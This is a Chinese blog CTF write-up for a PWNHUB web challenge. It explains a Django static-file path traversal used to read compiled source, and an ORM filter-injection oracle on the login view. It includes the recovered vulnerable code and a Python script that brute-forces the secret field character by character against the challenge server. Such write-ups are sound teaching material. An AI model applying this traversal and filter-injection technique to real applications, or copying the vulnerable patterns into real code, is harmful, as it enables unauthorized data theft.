virusdefender's blog ʕ•ᴥ•ʔ

PWNHUB Web第一题writeup

题目地址 http://54.223.46.206:8003/

首先在HTTP头中可以看到 Server:gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2,引用的站内资源只有一个js,然后回想起ph师傅的写过的Python Web安全的文章还有 http://www.lijiejie.com/python-django-directory-traversal/ ,发现在处理静态文件的时候有一个任意文件读取,但是任何.py结尾的文件都会提示403,其他的不会,考虑读取pyc,看了下自己的Django项目,Python 3.5的pyc都是在一个__pycache__目录中的,然后是xxx.cpython-35.pyc的文件名。

Django 是一个 MVC 框架,默认的主要代码都在 models.pyviews.py,成功的得到 pyc。然后使用 unpyc3 得到了源码。

核心代码如下

 1class StaticFilesView(generic.View):
 2    content_type = 'text/plain'
 3
 4    def get(self, request, *args, **kwargs):
 5        filename = self.kwargs['path']
 6        # 任意文件读取就是这里
 7        filename = os.path.join(settings.BASE_DIR, 'students', 'static', filename)
 8        (name, ext) = os.path.splitext(filename)
 9        if ext in ('.py', '.conf', '.sqlite3', '.yml'):
10            raise exceptions.PermissionDenied('Permission deny')
11        try:
12            return HttpResponse(FileWrapper(open(filename, 'rb'), 8192), content_type=self.content_type)
13        except BaseException as e:
14            raise Http404('Static file not found')
15            
16class LoginView(JsonResponseMixin, generic.TemplateView):
17	template_name = 'login.html'
18	def post(self, request, *args, **kwargs):
19		data = json.loads(request.body.decode())
20		stu = models.Student.objects.filter(**data).first()
21		if not stu or stu.passkey != data['passkey']:
22			return self._jsondata('', 403)
23		else:
24			request.session['is_login'] = True
25			return self._jsondata('', 200)
26
27class Student(models.Model):
28    name = models.CharField('姓名', max_length=64, unique=True)
29    no = models.CharField('学号', max_length=12, unique=True)
30    passkey = models.CharField('密码', max_length=32)
31    group = models.ForeignKey('Group', verbose_name='所属班级', on_delete=models.CASCADE, null=True, blank=True)
32
33
34class Group(models.Model):
35    name = models.CharField('班级名', max_length=64)
36    information = models.TextField('介绍')
37    secret = models.CharField('内部信息', max_length=128)
38    created_time = models.DateTimeField('创建时间', auto_now_add=True)

可以看到直接将用户发送的数据作为 filter 的条件传递了,如果用户存在,而 data 中没有 passkey 就会造成 500,如果用户不存在就会403,所以可以使用 Django 中的 like 查询。它的特点就是字段名后面添加两个下划线,接着才是搜索条件,可以作为参数传给 filter。

1# 精确查询 where name="test"
2Student.objects.filter(name="test")
3
4# 按照字符串开头查询 where name="test%"
5Student.objects.filter(name__startswith="test")
6
7# 按照字符串包含查询 where name="%test%"
8Student.objects.filter(name__contains="test")

其实这里还有个坑,但是后来给ph师傅说了之后还是填上了,防止题目过于难,就是这里Django使用的是sqlite3数据库,而sqlite3的like是不区分大小写的,而数据库里面存的确实是大小写混合的,然而实际上还是有两个解决方案的

当然这个问题并不需要用户的密码,使用相同的方式去获取secret就好了。语句是Student.objects.filter(group__secret__contains="pwnhub")。最终利用的代码是

 1import requests
 2import json
 3
 4import string
 5d = string.printable
 6
 7passkey = "pwnhub"
 8
 9while True:
10    for item in d:
11        r = requests.post("http://54.223.46.206:8003/login/", data=json.dumps({"group__secret__contains": passkey + item}))
12        if r.status_code == 500:
13            passkey += item
14            print(passkey)
15            break
16    else:
17        exit()

提交评论 | 微信打赏 | 转载必须注明原文链接

#安全 #CTF